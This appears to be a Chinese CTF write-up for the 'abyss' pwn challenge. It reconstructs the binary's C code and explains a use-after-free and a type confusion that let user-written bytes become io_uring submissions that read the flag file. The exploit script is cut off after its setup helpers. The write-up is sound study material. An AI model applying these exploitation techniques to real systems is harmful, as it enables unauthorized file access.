Post

approvCTF - abyss

approvCTF - abyss

虽然是pwn题,但感觉难度完全在逆向上… 直接尝试让ai还原原始代码(但就算看c代码还是花了一些时间理解)

0x01 AI还原代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
// Reconstructed from IDA/objdump: abyss::main
// This file is a commented reverse-engineering note, not the original source.

#include <stdint.h>
#include <stddef.h>
#include <stdio.h>
#include <string.h>
#include <strings.h>
#include <time.h>
#include <unistd.h>
#include <pthread.h>
#include <seccomp.h>

// ----------------------------
// Recovered data structures
// ----------------------------

typedef struct DiveObj {
    int32_t id_or_depth;         // +0x00: DIVE stores depth; BEACON stores levi id
    int32_t flags;               // +0x04: ABYSS sets to 1 to mark "pending for benthic"
    uint8_t note[0x40];          // +0x08: user-controlled payload; benthic treats this as raw SQE bytes
    uint64_t timestamp_or_fd;    // +0x48: timestamp for DIVE objects; fd/result carrier for levi path
    int32_t cqe_res;             // +0x4c: benthic stores CQE result code
    uint64_t next_enc;           // +0x50: encoded next pointer used in free list / request stack
    uint32_t tag;                // +0x58: state marker (alive/freed/type)
    uint32_t _pad;               // +0x5c: alignment padding
} DiveObj;

typedef DiveObj LeviObj;         // Same physical layout, different semantic usage.

typedef struct CommandMsg {
    uint8_t type;                // 1 => FLUSH in mesopelagic thread, 2 => stop thread
    uint8_t _pad[3];
    uint32_t value;              // always written as 0 in main
} CommandMsg;

// ----------------------------
// Recovered globals (from symbols)
// ----------------------------

extern char g_flagname[16];
extern int g_benthic_fd_result;

extern uint64_t g_slab_secret;
extern uint64_t g_request_stack;
extern uint64_t g_hazard[4];

extern uint64_t dive_free_head;  // encoded pointer head
extern uint64_t levi_free_head;  // encoded pointer head

extern DiveObj* g_dive_reg[16];
extern LeviObj* g_levi_reg[24];
extern LeviObj* g_pending_levi;     // 要执行的levi-obj (abyss使用)

extern int g_cmd_pipe[2];
extern int g_benthic_wake_pipe[2];
extern int g_benthic_result_pipe[2];    // benthic线程结果

extern DiveObj dive_slab[16];
extern LeviObj levi_slab[16];

// ----------------------------
// Recovered helper functions
// ----------------------------

extern void xwrite(const char* s);
extern int xprintf(const char* fmt, ...);
extern ssize_t hex_decode(const char* hex, unsigned char* out, size_t max_bytes);
extern void* mesopelagic_thread(void*);
extern void* benthic_thread(void*);

static inline uint64_t enc_ptr(const void* p) {
    // The binary obfuscates links with a process-secret XOR.
    // Security intent: make accidental corruption less obvious and slightly hinder trivial poisoning.
    return ((uint64_t)p) ^ g_slab_secret;
}

static inline void* dec_ptr(uint64_t e) {
    // Decoding is symmetric with XOR.
    return (void*)(e ^ g_slab_secret);
}

int main(void) {
    // Unbuffered stdio: interactive CTF service should respond immediately to each command.
    setvbuf(stdin,  NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    // Create command pipe for mesopelagic control messages (FLUSH/QUIT).
    if (pipe2(g_cmd_pipe, 0x80000) < 0) {
        perror("pipe cmd");
        return 1;
    }

    // Create wake pipe for benthic task triggering.
    if (pipe2(g_benthic_wake_pipe, 0x80000) < 0) {
        perror("pipe wake");
        return 1;
    }

    // Create result pipe to receive benthic status/data.
    if (pipe2(g_benthic_result_pipe, 0x80000) < 0) {            // 创建匿名管道来通信
        perror("pipe result");
        return 1;
    }

    // Seed pointer-encoding secret with getrandom(8 bytes).
    // Deeper reason: all lock-free links use XOR(secret), so secret must be initialized first.
    if (syscall(0x13e, &g_slab_secret, 8u, 0u) != 8) {
        perror("getrandom");
        _exit(1);
    }

    // Build dive free list from dive_slab[] (each chunk starts in freed state).
    for (int i = 15; i >= 0; --i) {
        dive_slab[i].tag = 0xdeadbeef;              // mark as free sentinel
        dive_slab[i].next_enc = dive_free_head;     // link to old head (already encoded)
        dive_free_head = enc_ptr(&dive_slab[i]);    // publish new encoded head
    }

    // Build levi free list from levi_slab[].
    for (int i = 15; i >= 0; --i) {
        levi_slab[i].id_or_depth = i;               // preserved by compiler output; not security-critical
        levi_slab[i].tag = 0xdeadbeef;
        levi_slab[i].next_enc = levi_free_head;
        levi_free_head = enc_ptr(&levi_slab[i]);    // 在链表头部插入
    }

    // Clear registries/hazard slots.
    memset(g_dive_reg, 0, sizeof(g_dive_reg));
    memset(g_levi_reg, 0, sizeof(g_levi_reg));
    memset(g_hazard, 0, sizeof(g_hazard));

    // Start mesopelagic thread (flush/reclaim worker).
    pthread_t t_meso = 0;
    if (pthread_create(&t_meso, NULL, mesopelagic_thread, NULL) != 0) {
        perror("pthread_create meso");
        return 1;
    }

    // Start benthic thread (io_uring worker).
    pthread_t t_bent = 0;
    if (pthread_create(&t_bent, NULL, benthic_thread, NULL) != 0) {
        perror("pthread_create bent");
        return 1;
    }

    // Handshake: benthic writes 0xFF when io_uring setup succeeded.
    uint8_t benthic_ready = 0;
    // pipe执行结果返回文件描述符:
    // pipefd[0] -> read end   (读端)
    // pipefd[1] -> write end  (写端)
    // 这里读取结果
    if (read(g_benthic_result_pipe[0], &benthic_ready, 1) != 1 || benthic_ready != 0xFF) {
        xwrite("ERR: benthic init failed\n");
        return 1;
    }

    // Install seccomp for main thread after workers are online.
    // Reason: initialize all resources first, then narrow syscall surface for command loop.
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (!ctx) {
        perror("seccomp_init");
        _exit(1);
    }

    // Large allowlist recovered from instruction table in main.
    // (Exact list omitted here for readability; binary iterates a const table and calls seccomp_rule_add.)
    // Deeper reason: allow enough syscalls for runtime + pipes/threads, deny everything else by default.
    {
        // Placeholder note: original binary adds many numeric syscall IDs then a few explicit denies.
        // It also adds argument-constrained rule for mmap-like pattern.
    }

    seccomp_load(ctx);
    seccomp_release(ctx);

    // Print banner and prompt.
    xwrite("ABYSS v0.1.0 \xE2\x80\x94 Where the light never reaches\n");

    char line[0x200];
    char cmd_reply_buf[0xFF + 1];

    while (1) {
        xwrite("depth> ");

        // EOF => graceful stop sequence.
        if (!fgets(line, sizeof(line), stdin)) {
            CommandMsg quit_msg = { .type = 2, .value = 0 };
            write(g_cmd_pipe[1], &quit_msg, sizeof(quit_msg)); // tell mesopelagic to exit
            close(g_benthic_wake_pipe[1]);                     // break benthic read loop
            pthread_join(t_meso, NULL);
            pthread_join(t_bent, NULL);
            return 0;
        }

        // Trim trailing CR/LF to normalize parser behavior.
        size_t n = strlen(line);
        while (n && (line[n - 1] == '\n' || line[n - 1] == '\r')) {
            line[--n] = '\0';
        }
        if (n == 0) {
            continue; // empty command line
        }

        // Split into command token and argument tail at first space.
        char* arg = strchr(line, ' ');
        if (arg) {
            *arg++ = '\0';
        }

        // --------------- DIVE ---------------
        if (!strcasecmp(line, "DIVE")) {
            int depth = 0;
            if (!arg || sscanf(arg, "%u", (unsigned*)&depth) != 1) {
                write(1, "ERR bad args\n", 13);
                continue;
            }

            // Lock-free pop from dive_free_head (CAS loop).
            uint64_t old_head_enc;
            DiveObj* obj;
            do {
                old_head_enc = dive_free_head;
                if (!old_head_enc) {
                    write(1, "ERR slab full\n", 14);
                    obj = NULL;
                    break;
                }
                obj = (DiveObj*)dec_ptr(old_head_enc);
            } while (!__sync_bool_compare_and_swap(&dive_free_head, old_head_enc, obj->next_enc));
            if (!obj) continue;

            // Initialize freshly allocated object.
            memset(obj, 0, sizeof(*obj));
            obj->tag = 0xd14ed14e;                  // alive dive tag
            obj->timestamp_or_fd = (uint64_t)time(NULL);
            obj->id_or_depth = depth;

            // Find free registry slot [0..15].
            int id = -1;
            for (int i = 0; i < 16; i++) {
                if (!g_dive_reg[i]) {
                    id = i;
                    break;
                }
            }
            if (id < 0) {
                // If registry is full, return chunk to free list; otherwise memory would leak.
                if (obj->tag != 0xdeadbeef) {
                    obj->tag = 0xdeadbeef;
                    obj->next_enc = dive_free_head;
                    dive_free_head = enc_ptr(obj);
                }
                write(1, "ERR registry full\n", 18);
                continue;
            }

            g_dive_reg[id] = obj;

            // Push object into global request stack (lock-free).
            // Deeper reason: POP/FLUSH operate on this stack, decoupled from registry arrays.
            while (1) {
                uint64_t old_stack = g_request_stack;
                obj->next_enc = old_stack ^ g_slab_secret;
                if (__sync_bool_compare_and_swap(&g_request_stack, old_stack, (uint64_t)obj)) {
                    break;
                }
            }

            xprintf("DIVING id=%d addr=0x%lx depth=%u\n", id, (unsigned long)obj, depth);
            continue;
        }

        // --------------- DESCEND / WRITE (shared parser form) ---------------
        if (!strcasecmp(line, "DESCEND") || !strcasecmp(line, "WRITE")) {
            int id = -1;
            int off_or_len = -1;
            char hex_input[0x40] = {0};

            if (!arg || sscanf(arg, "%d %d %[^\n]", &id, &off_or_len, hex_input) <= 1) {
                write(1, "ERR bad args\n", 13);
                continue;
            }

            if ((unsigned)id > 0xF || !g_dive_reg[id]) {
                write(1, "ERR no such dive\n", 17);
                continue;
            }
            // 从dive list中读取指定位置的obj进行写入
            DiveObj* obj = g_dive_reg[id];

            if (!strcasecmp(line, "WRITE")) {
                // WRITE enforces len in [1,64].
                if ((unsigned)(off_or_len - 1) > 0x3F) {
                    write(1, "ERR len\n", 8);
                    continue;
                }

                unsigned char tmp[0x40] = {0};
                ssize_t wr = hex_decode(hex_input, tmp, (size_t)off_or_len);
                if (wr > 0) {
                    memcpy(obj->note, tmp, (size_t)wr);
                }
                xprintf("WRITTEN id=%d bytes=%zd\n", id, wr);
                continue;
            }

            // DESCEND path: second arg is byte offset into note[64].
            if ((unsigned)off_or_len > 0x3F) {
                write(1, "ERR offset\n", 11);
                continue;
            }

            unsigned char tmp[0x40] = {0};
            size_t cap = 0x40u - (size_t)off_or_len;
            ssize_t wr = hex_decode(hex_input, tmp, cap);
            if (wr > 0) {
                memcpy(obj->note + off_or_len, tmp, (size_t)wr);
            }
            xprintf("DESCENDED id=%d offset=%d\n", id, off_or_len);
            continue;
        }

        // --------------- POP ---------------
        if (!strcasecmp(line, "POP")) {
            // Lock-free pop from request stack.
            DiveObj* obj;
            while (1) {
                uint64_t old_head = g_request_stack;
                if (!old_head) {
                    write(1, "EMPTY\n", 6);
                    obj = NULL;
                    break;
                }
                obj = (DiveObj*)old_head;
                uint64_t next = obj->next_enc ^ g_slab_secret;
                if (__sync_bool_compare_and_swap(&g_request_stack, old_head, next)) {
                    break;
                }
            }
            if (!obj) continue;

            obj->next_enc = 0; // detach popped node from logical stack chain

            // Best-effort registry cleanup: remove stale reference if exact pointer matches.
            for (int i = 0; i < 16; i++) {
                if (g_dive_reg[i] == obj) {
                    g_dive_reg[i] = NULL;
                    break;
                }
            }

            // Return to dive free list.
            if (obj->tag != 0xdeadbeef) {
                obj->tag = 0xdeadbeef;
                obj->next_enc = dive_free_head;
                dive_free_head = enc_ptr(obj);
            }

            xprintf("POPPED addr=0x%lx\n", (unsigned long)obj);
            continue;
        }

        // --------------- FLUSH ---------------
        if (!strcasecmp(line, "FLUSH")) {
            CommandMsg flush_msg = { .type = 1, .value = 0 };
            write(g_cmd_pipe[1], &flush_msg, sizeof(flush_msg));
            write(1, "FLUSHING\n", 9);
            continue;
        }

        // --------------- STATUS ---------------
        if (!strcasecmp(line, "STATUS")) {
            int id = -1;
            if (!arg || sscanf(arg, "%d", &id) != 1) {
                write(1, "ERR bad args\n", 13);
                continue;
            }
            if ((unsigned)id > 0xF) {
                write(1, "ERR range\n", 10);
                continue;
            }
            // 获得dive list元素的状态
            DiveObj* obj = g_dive_reg[id];
            if (!obj) {
                write(1, "ERR no such dive\n", 17);
                continue;
            }

            xprintf("STATUS id=%d addr=0x%lx depth=%u flags=0x%x timestamp=%lu next_enc=0x%lx tag=0x%x\n",
                    id,
                    (unsigned long)obj,
                    (unsigned)obj->id_or_depth,
                    (unsigned)obj->flags,
                    (unsigned long)obj->timestamp_or_fd,
                    (unsigned long)obj->next_enc,
                    (unsigned)obj->tag);
            write(1, "note=", 5);
            for (int i = 0; i < 0x40; i++) {
                xprintf("%02x", obj->note[i]);
            }
            write(1, "\n", 1);
            continue;
        }

        // --------------- BEACON ---------------
        if (!strcasecmp(line, "BEACON")) {
            int id = -1;
            if (!arg || sscanf(arg, "%d", &id) != 1) {
                write(1, "ERR bad args\n", 13);
                continue;
            }
            if ((unsigned)id > 0x17) {
                write(1, "ERR range\n", 10);
                continue;
            }
            if (g_levi_reg[id]) {       // 目标槽位已经满了
                write(1, "ERR slot taken\n", 15);
                continue;
            }

            // Allocate levi object: prefer levi pool, fallback to dive pool.
            // Deeper reason: this fallback creates cross-type reuse and exploit surface.
            uint64_t old_head;
            LeviObj* obj = NULL;

            // Try levi_free_head first.
            while (!obj) {
                old_head = levi_free_head;
                if (!old_head) break;
                LeviObj* cand = (LeviObj*)dec_ptr(old_head);
                /*
                原子地检查 levi_free_head 当前是否等于 old_head;
                如果相等,就把它改成 cand->next_enc;
                并返回这次修改是否成功。
                */
                if (__sync_bool_compare_and_swap(&levi_free_head, old_head, cand->next_enc)) {
                    obj = cand;
                    break;
                }
                /*
                • 这段是一个典型的无锁栈 pop(lock-free fetch)写法,目的有三层:
                1. 并发安全取头结点

                - 多线程可能同时取 levi_free_head。
                - 不能 obj = head; head = head->next 直接写,否则会竞态覆盖。
                - 所以用 CAS(head, old, next):只有当头指针还是你刚读到的 old_head 才更新成功。

                2. 失败重试直到成功

                - 如果 CAS 失败,说明有别的线程先改了栈头。
                - 这时必须重读最新 head 再试(循环的意义)。
                - while (!obj) 就是在做这个“乐观并发 + 重试”。

                3. 空链表快速退出

                - if (!old_head) break; 表示没有可分配对象。
                - 这里不阻塞等待,直接返回“当前池为空”,上层再走 fallback(去 dive_free_head)。

                你这段在 BEACON 里的深层原因是:作者想要一个低开销并发分配器(free-list),不用 mutex;代价是逻辑更脆弱(例如类型池 fallback、回收同步问题),也更容易被利用链路放大。
                */
            }

            // Fallback to dive_free_head.
            while (!obj) {
                old_head = dive_free_head;
                if (!old_head) break;
                LeviObj* cand = (LeviObj*)dec_ptr(old_head);
                if (__sync_bool_compare_and_swap(&dive_free_head, old_head, cand->next_enc)) {
                    obj = cand;
                    break;
                }
            }

            if (!obj) {
                write(1, "ERR levi slab full\n", 19);
                continue;
            }

            // Initialize as levi object.
            memset(((uint8_t*)obj) + 4, 0, sizeof(*obj) - 4); // compiler pattern from disassembly
            obj->tag = 0x1e114711;
            obj->id_or_depth = id;
            g_levi_reg[id] = obj;

            xprintf("BEACON id=%d addr=0x%lx\n", id, (unsigned long)obj);
            continue;
        }

        // --------------- ABYSS ---------------
        if (!strcasecmp(line, "ABYSS")) {
            int id = -1;
            if (!arg || sscanf(arg, "%d", &id) != 1) {
                write(1, "ERR bad args\n", 13);
                continue;
            }
            if ((unsigned)id > 0x17 || !g_levi_reg[id]) {
                write(1, "ERR no such leviathan\n", 22);
                continue;
            }

            LeviObj* obj = g_levi_reg[id];
            obj->flags = 1;             // tells benthic this object is valid to process
            g_pending_levi = obj;       // publish work item

            // Wake benthic worker.
            // 想benthic wake pipe的stdout发送1字节,表示准备好了
            uint8_t kick = 1;
            write(g_benthic_wake_pipe[1], &kick, 1);

            // Receive result packet from benthic worker.
            ssize_t r = read(g_benthic_result_pipe[0], cmd_reply_buf, 0xFF);
            if (r <= 0) {
                xwrite("ABYSS: benthic timeout\n");
                continue;
            }

            cmd_reply_buf[r] = '\0';

            // 1-byte reply means status code channel.
            if (r == 1 && (cmd_reply_buf[0] == 1 || cmd_reply_buf[0] == 2)) {
                const char* s = (cmd_reply_buf[0] == 1) ? "ok" : "err";
                xprintf("ABYSS: result=%s fd=%d\n", s, (int)obj->timestamp_or_fd);
                continue;
            }

            // Multi-byte reply is treated as raw extracted data (flag read path).
            write(1, "FLAG: ", 6);
            write(1, cmd_reply_buf, (size_t)r);
            write(1, "\n", 1);
            continue;
        }

        // --------------- ECHO / HELP / QUIT / UNKNOWN ---------------
        if (!strcasecmp(line, "ECHO")) {
            // Empty arg becomes "" because main split tokenizer always points arg after first space.
            xprintf("ECHO %s\n", arg ? arg : "");
            continue;
        }

        if (!strcasecmp(line, "HELP")) {
            xwrite("Commands: DIVE DESCEND WRITE POP FLUSH STATUS BEACON ABYSS ECHO HELP QUIT\n");
            continue;
        }

        if (!strcasecmp(line, "QUIT")) {
            CommandMsg quit_msg = { .type = 2, .value = 0 };
            write(g_cmd_pipe[1], &quit_msg, sizeof(quit_msg));
            close(g_benthic_wake_pipe[1]);
            pthread_join(t_meso, NULL);
            pthread_join(t_bent, NULL);
            return 0;
        }

        xwrite("ERR unknown command\n");
    }
}

0x02 虚拟机指令

#### 1. 总览

• 文件: abyss (ELF64, PIE, Full RELRO, Canary, NX, SHSTK, IBT, 未 strip) • 核心机制:主线程命令解释 + 两个后台线程 • mesopelagic_thread(void) @ 0x2c80 :处理回收/清空请求栈 • benthic_thread(void) @ 0x2670 : io_uring 工作线程,执行“深渊任务” • 目标敏感文件: g_flagname @ 0x6010 = “/flag.txt”

#### 2. 程序行为(用户视角)

• 启动后打印 banner,提示命令: • DIVE DESCEND WRITE POP FLUSH STATUS BEACON ABYSS ECHO HELP QUIT • 典型语义: • DIVE :分配一个 dive 对象到 g_dive_reg[0..15] • DESCEND :向对象 note[off:] 写入 hex 数据(最多到 64 字节) • WRITE :从 note[0] 开始写入 • STATUS :打印对象字段和完整 note (64 字节 hex) • POP :从请求栈弹出一个对象并尝试回收 • FLUSH :通知 mesopelagic_thread 清空请求栈 • BEACON :分配一个 levi 对象到 g_levi_reg[0..23] • ABYSS :将对应 levi 交给 benthic_thread 执行,返回结果或输出数据

#### 3. 关键全局对象与结构

• 全局: • g_dive_reg @ 0x6120 :16 槽指针表 • g_levi_reg @ 0x6060 :24 槽指针表 • g_request_stack @ 0x62c0 :无锁栈头 • dive_free_head @ 0x6308 / levi_free_head @ 0x6300 :free list • g_slab_secret @ 0x6f20 :XOR 编码 next 指针的 secret • g_pending_levi @ 0x62a0 :待处理 levi 指针 • slab 元素大小均为 0x60 ,并带 tag: • dive 初始化 tag: 0xd14ed14e • levi 初始化 tag: 0x1e114711 • 回收后 tag: 0xdeadbeef

#### 3.1 结构体偏移(逆向还原)

##### DiveObj / LeviObj (同一块 0x60 chunk,被不同逻辑复用)

│ 这两个“类型”本质上是同一物理布局,字段语义随命令路径变化。

偏移 │ 大小 │ 字段名(建议) │ 依据 ────────┼────────┼──────────────────┼───────────────────────────────────── 0x00 │ 4 │ id_or_depth │ DIVE 写入 depth; BEACON 写入 │ │ │ id; STATUS 以 %u 打印 0x04 │ 4 │ flags │ ABYSS 前写 1 ,benthic │ │ │ 检查该位是否非 0 0x08 │ 0x40 │ note_or_sqe_byt │ WRITE/DESCEND 读写;benthic │ │ es │ 直接按 64 字节 SQE 提交 0x48 │ 4/8 │ timestamp_or_fd │ dive 时 time() 写 8 字节并在 │ 复用 │ │ STATUS 以 %lu 打印;levi 时 │ │ │ benthic 写 fd(低 4 字节) 0x4c │ 4 │ result_code │ benthic 写 CQE res(可负值) 0x50 │ 8 │ next_enc │ free list / request stack │ │ │ 链接字段(XOR secret 编码) 0x58 │ 4 │ tag │ 0xd14ed14e / 0x1e114711 / │ │ │ 0xdeadbeef 0x5c │ 4 │ padding │ 对齐

##### UringState ( benthic_thread 栈上对象,基址 rsp+0x60 )

偏移 │ 字段(建议) │ 说明 ────────┼──────────────────────────┼──────────────────────────────────────── 0x00 │ int ring_fd │ io_uring_setup 返回值 0x08 │ void *sq_ring │ SQ ring mmap 基址 0x10 │ size_t sq_ring_sz │ SQ ring 映射大小 0x18 │ void *cq_ring │ CQ ring mmap 基址 0x20 │ size_t cq_ring_sz │ CQ ring 映射大小 0x28 │ void *sqes │ SQE mmap 基址( submit_sqe_bytes 用) 0x30 │ size_t sqes_sz │ SQE 映射大小 0x38 │ io_uring_params params │ setup 时填充 0xb8 │ u32 *sq_tail │ submit_sqe_bytes 读写 0xc0 │ u32 *sq_ring_mask │ submit_sqe_bytes 读写 0xc8 │ u32 *sq_array │ submit_sqe_bytes 写入 index 0xd0 │ u32 *cq_head │ reap_cqe 读写 0xd8 │ u32 *cq_tail │ reap_cqe 读取 0xe0 │ u32 *cq_ring_mask │ reap_cqe 读取 0xe8 │ io_uring_cqe *cqes │ reap_cqe 取 res

#### 4. 关键函数分析

##### 4.1 main @ 0x1360

• 完成管道、slab、free list 初始化,创建两个线程。 • 解析命令并操作 dive/levi 对象。 • ABYSS 分支(约 0x203a 起): • 设置 levi->flags=1 ,写 wake pipe 唤醒 benthic 线程。 • 从 result pipe 读结果,输出 ABYSS: result=ok/err fd=%d 或 FLAG: … 。

##### 4.1.1 分配与回收的内部机制(重点)

  1. slab 初始化( main 前段)

• dive_slab :16 个 chunk( 16 * 0x60 = 0x600 ) • levi_slab :16 个 chunk(同上) • 每个 chunk 在初始化时写 tag=0xdeadbeef 并链接到对应 free list。 • free list 头和 next 指针均使用 encoded = ptr ^ g_slab_secret 存储。

  1. dive_free_head 分配( DIVE )

• 原子读取 head(encoded)→ 解码得到 chunk 指针。 • cmpxchg 把 head 更新为 chunk->next_enc 。 • 成功后 chunk 归属调用方。

  1. levi_free_head 分配( BEACON )

• 先尝试 levi_free_head 。 • 若为空,fallback 到 dive_free_head (跨池复用,导致类型混用)。 • 两者都空则报 ERR levi slab full 。

  1. request_stack (供 POP/FLUSH )

• 栈头 g_request_stack 存放“明文指针”。 • 入栈时 chunk->next_enc = old_head ^ secret ,CAS 更新新头。 • POP / FLUSH 出栈时 next = chunk->next_enc ^ secret 。

  1. 回收到 dive_free_head

• POP 和 mesopelagic FLUSH 最终都走“设 tag=0xdeadbeef + 挂回 dive_free_head ”。 • 但不会同步清理所有注册表引用(核心漏洞来源)。

##### 4.2 mesopelagic_thread @ 0x2c80

• 只处理命令管道中的 8 字节消息: • type 1 :执行 FLUSH 路径 • type 2 :退出线程 • FLUSH 路径( 0x2e38 之后): • 读取 g_request_stack ,然后遍历链表,把对象回收到 dive_free_head 。 • 仅操作栈和 free list,不同步更新 g_dive_reg 。

##### 4.3 benthic_thread @ 0x2670

• 初始化 io_uring ( io_uring_setup + 三段 mmap )。 • 收到 wake 后读取 g_pending_levi 并提交 SQE: • submit_sqe_bytes 直接把对象中 64 字节拷到 SQE( 0x2500 )。 • reap_cqe 取完成队列结果( 0x2480 )。 • 若 levi->note[0] == 0x12 ( cmp BYTE PTR [r15+0x8],0x12 ): • 额外构造一次 opcode 0x16 的读请求,读取 fd 内容到 flag_buf ,写回主线程。

##### 4.4 hex_decode @ 0x25c0

• 将输入 hex 文本转为字节流。 • 命令层面对长度做了限制,函数本身无明显越界写。

#### 4.5 命令解析与每条命令的详细逻辑

##### 输入解析总流程

• fgets(buf, 0x200) 读一行,去掉末尾 \n/\r 。 • 先按首个空格切成 cmd 和 arg 。 • 对大小写不敏感( strcasecmp )。

##### DIVE

• 解析: sscanf(arg, “%u”, &depth) ,必须恰好 1 项。 • 限制/分支: • 解析失败 -> ERR bad args • dive_free_head 空 -> ERR slab full • g_dive_reg[0..15] 无空槽 -> ERR registry full (并把刚拿到的 chunk 回收) • 成功路径: • 清零 0x60,设 tag=0xd14ed14e , timestamp=time(NULL) , id_or_depth=depth • 放入最小可用槽位 g_dive_reg[id] • 压入 g_request_stack • 输出: DIVING id=%d addr=0x%lx depth=%u

##### DESCEND

• 解析: sscanf(arg, “%d %d %[^\n]”, &id, &offset, hexbuf) ;至少要解析到 id。 • 限制/分支: • id 不在 [0,15] 或 g_dive_reg[id]==NULL -> ERR no such dive • offset > 63 -> ERR offset • hex 为空字符串也允许(写 0 字节) • 写入逻辑: • 可写上限 max = 0x40 - offset • hex_decode(hexbuf, tmp, max) ,返回 n(字节数) • memcpy(obj->note + offset, tmp, n) • 输出: DESCENDED id=%d offset=%d

##### WRITE

• 解析:同 DESCEND ,但第二字段语义是 len 。 • 限制/分支: • id 不在 [0,15] 或空槽 -> ERR no such dive • 要求 1 <= len <= 64 (由 len-1 <= 0x3f 检查) • 否则 -> ERR len • 写入逻辑: • hex_decode(hexbuf, tmp, len) ,最多解码 len 字节 • memcpy(obj->note, tmp, n) • 输出: WRITTEN id=%d bytes=%zd

##### POP

• 分支: • g_request_stack == NULL -> EMPTY • 否则 CAS 弹栈拿到一个 chunk • 后续: • 遍历 g_dive_reg ,如果某槽正好等于该 chunk,置空该槽 • 如果 tag != 0xdeadbeef ,设 deadbeef 并回收到 dive_free_head • 输出: POPPED addr=0x%lx

##### FLUSH

• 主线程动作: • 向 g_cmd_pipe 写 8 字节命令(type=1) • 输出 FLUSHING • 后台线程动作( mesopelagic ): • 取当前 g_request_stack 头并清空全局栈头 • 遍历整条链并回收到 dive_free_head • 不会清 g_dive_reg 中对应槽位(UAF 根因)

##### STATUS

• 解析: sscanf(arg, “%d”, &id) ;必须 1 项。 • 限制: • id 不在 [0,15] -> ERR range • g_dive_reg[id]==NULL -> ERR no such dive • 输出: • 主行: STATUS id=%d addr=0x%lx depth=%u flags=0x%x timestamp=%lu next_enc=0x%lx tag=0x%x • 次行: note= 后连续 64 字节 %02x

##### BEACON

• 解析: sscanf(arg, “%d”, &id) 。 • 限制/分支: • id 不在 [0,23] -> ERR range • g_levi_reg[id] != NULL -> ERR slot taken • levi_free_head 和 dive_free_head 都空 -> ERR levi slab full • 成功路径: • chunk 字段清零(从 +0x04 开始),设 tag=0x1e114711 • obj->id_or_depth = id • 挂入 g_levi_reg[id] • 输出: BEACON id=%d addr=0x%lx

##### ABYSS

• 解析: sscanf(arg, “%d”, &id) 。 • 限制: • id 不在 [0,23] 或 g_levi_reg[id]==NULL -> ERR no such leviathan • 触发流程: • obj->flags=1 , g_pending_levi=obj • wake benthic 线程 • 等待 result pipe 返回 • 返回处理分支: • read<=0 -> ABYSS: benthic timeout • 若仅 1 字节且值为 1/2 : • 1 -> ABYSS: result=ok fd=%d • 2 -> ABYSS: result=err fd=%d • 其他情况: FLAG:

##### ECHO [text]

• 有参数: ECHO %s • 无参数: arg 被置为空串,实际输出 ECHO (后接换行)

##### HELP / QUIT

• HELP :打印命令列表 • QUIT 或 EOF:发退出命令给 mesopelagic ,关闭 wake pipe, pthread_join 两线程并退出

0x03 语法分析

  • %[^\n]
    1
    
    if ( (int)__isoc99_sscanf(v23, "%d %d %[^\n]", &input_dive_idx, &diving_depth, v85) <= 1 )
    

    其中的%[^\n]是读一串字符,直到换行符

  • strcasecmp是大小写不敏感的匹配
  • pipe2
    1
    
    pipe2(g_cmd_pipe, 0x80000)
    

    用来创建管道,返回一个pipefd, 其中 pipdfd[0]为读端, pipefd[1]为写端.

0x04 exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#!/usr/bin/env python3
from pwn import *
import argparse
import re
import subprocess
import time


context.binary = ELF("./abyss", checksec=False)
context.log_level = "info"

PROMPT = b"depth> "
DIVE_SLAB_OFF = 0x6920
G_FLAGNAME_OFF = 0x6010


def recv_prompt(io, timeout=3):
    return io.recvuntil(PROMPT, timeout=timeout)


def cmd(io, line: bytes, timeout=3):
    io.sendline(line)
    return io.recvuntil(PROMPT, drop=True, timeout=timeout)


